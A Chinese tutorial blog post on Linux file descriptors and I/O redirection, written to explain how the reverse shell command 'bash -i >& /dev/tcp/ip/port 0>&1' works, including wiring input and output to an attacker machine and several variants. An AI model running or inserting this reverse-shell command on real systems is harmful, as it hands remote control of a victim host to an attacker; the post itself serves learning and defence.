这里说Linux重定向的原因主要还是为了详细了解一下Linux中的反弹shell

目录

0x01 文件描述符

0x02 重定向

0x03 反弹shell

0x04 交互重定向

0x05 命令变形

0x01 文件描述符

Linux的文件描述符有以下三种

标准输入:0

标准输出:1

错误输出:2

对于文件描述符就先知道这些就可以了,具体的使用会在重定向中来说,重定向就是对文件描述符的操作

0x02 重定向

重定向主要分为以下两种

输入重定向 <<<

输出重定向 >>>

通过下面的两张图就可以很明白的看出来他们的用途了

5ea8c871a53178e8e9bf73aecc3011ce.png

22ed34dc9ba94c0b1203982b66f2bb75.png

我们这里的输出重定向>,就相当于是1>,输入重定向 <,就相当于是0<

那如果要使用错误输出的话,就必须写成 2>

4ed65fcf6cce77d5e1f4262c5aa36519.png

我们也可以把错误的内容重定向到另一个文件中的

下面这个操作,我们就可以把正确的结果放到test.txt,而把错误的结果放到test1.txt文件中

3b1deb941998ddb30624e171bac65e1e.png

同样也可以将结果和错误输出一起输出到一个文件中去

在正常输入的命令结尾加上2>&1就可以实现了,这个语句可以理解为将错误输出与标准输出一致,也就是将他们输出到一个文件中来

5feed9d8493d5d330d1f49547d18a1c2.png

其实这里的&符号是为了区分文件跟文件描述符的,如果这里没有&符号,系统会把它理解为文件,而不是标准输出

6b1e9d7e6772f47a1393dcf03c241f46.png

0x03 反弹shell

下面是很常见的一条反弹shell命令,我们就以这个为例来进行解释

bash -i >& /dev/tcp/ip/port 0>&1

解释

bash -i

表示创建一个交互式的shell,可以在帮助文档中看到

b2152e9aaeda9e2f07851133f8cea78a.png
/dev/tcp/ip/port

实际上这个文件不是存在的,但是当你在监听这个端口的时候,对这个文件进行读写,就可以实现两个主机之间的socket通信

abf189276ec7783e55c55702821e673b.png

首先我们在本地开启监听,然后在Linux机器上输入下面的命令,即将指定字符发送到192.168.6.13333端口

d1cca6454194a249073d1e69bf8e225f.png

1f6361088b81ed90a5df4da52b0e40b1.png
0>&1

将标准输入和标准输出重定向到指定的文件中

如果把这条命令改成2>&1可能会更容易理解一点

7bf3d4df697a2366000ab4791a73dc4c.png

6df9ee6b7423493f0e05efff6f9a3409.png

如果理解了上面这个的话,对于这个就很容易理解了

>&

将前面的后和后面的一致,就是将交互式的shell传给我们的远程主机

理解了上面的内容,我们将标准输出改为标准输入,看一下会发生什么事情

551a09f8d8cea5f801fa765c5c2306f4.png

8c238b00bf2867c7a677e6148c7f1c53.png

0x04 交互重定向

理解了上面的内容之后,我们在一步步分解一下交互式shell

使用下面的语句可以将输出内容发送到攻击机上

27260664e0a725986a36a21e529447b4.png

d799859f06bea4bbda62bce119ead656.png

但是这样会有一个问题,攻击者没有实现对此主机的完全控制,是不能在受害主机中运行命令的,此时我们还会想起来另一条命令,将它转换成标准输入

4295afa17fa3b3d564c7d133f8adfeae.png

9b592ba515d99c8c2d99107175e47b53.png

这样我们就实现了从攻击机输入命令进行控制,然后我们将两条命令合并一下,将标准输入和标准输出都指向到远程主机上,即实现交互式shell

7e52594cff4d0a38b438fd08b5f77302.png

在这个情况下的逻辑就是,从/dev/tcp/192.168.1.6/3333获取输入,然后将输出重定向到/dev/tcp/192.168.1.6/3333,从而形成了一个回路

8a468f8f11c77785d86d70842268ca9c.png

但是这里面还是有一个问题的,可以看到我们输入的命令在受害主机上还是会显示出命令的,所以还是需要进行改进的

我们上面也说了如何将所有的正确和错误信息都重定向到一起,这里就可以使用这个方法来进行处理

b2db762d187344cd7e8de26248a3de6f.png

385f673a9a919bbb5d55ee2edfcc5fc9.png

可以看到所有产生的消息都在攻击机上显示出来了,这样就达到了我们最初的目的了

我们也可以使用与之等价的命令来进行操作,也就是我们最前面所写出来的那一条命令

b4ea0949c36a811a38de8f39db04d817.png

b1202ea846aef5d7f66a76e3dda93948.png

0x05 命令变形

如果我们把 0>&1 改成 0<&1 将会发生什么

4f431ea34f6fd28d4e1a447eac2fd520.png

可以发现两者的效果是一样的,它们唯一的不同是打开文件时候的方式不同,其他的内容都与我们前面说的是一样的

同样的,我们将 0>&1 变为 0>&2 是一样的效果

174ec05774fc4dcd5f8dcd1f7a33e184.png

至于其他的变形类型的,就按照上面所说的那些东西自己去推算即可。

文章首发公众号:无心的梦呓(wuxinmengyi)

这是一个记录红队学习、信安笔记,个人成长的公众号

扫码关注即可

1884821889646dc6f089761f0ed25f56.png
Logo

更多推荐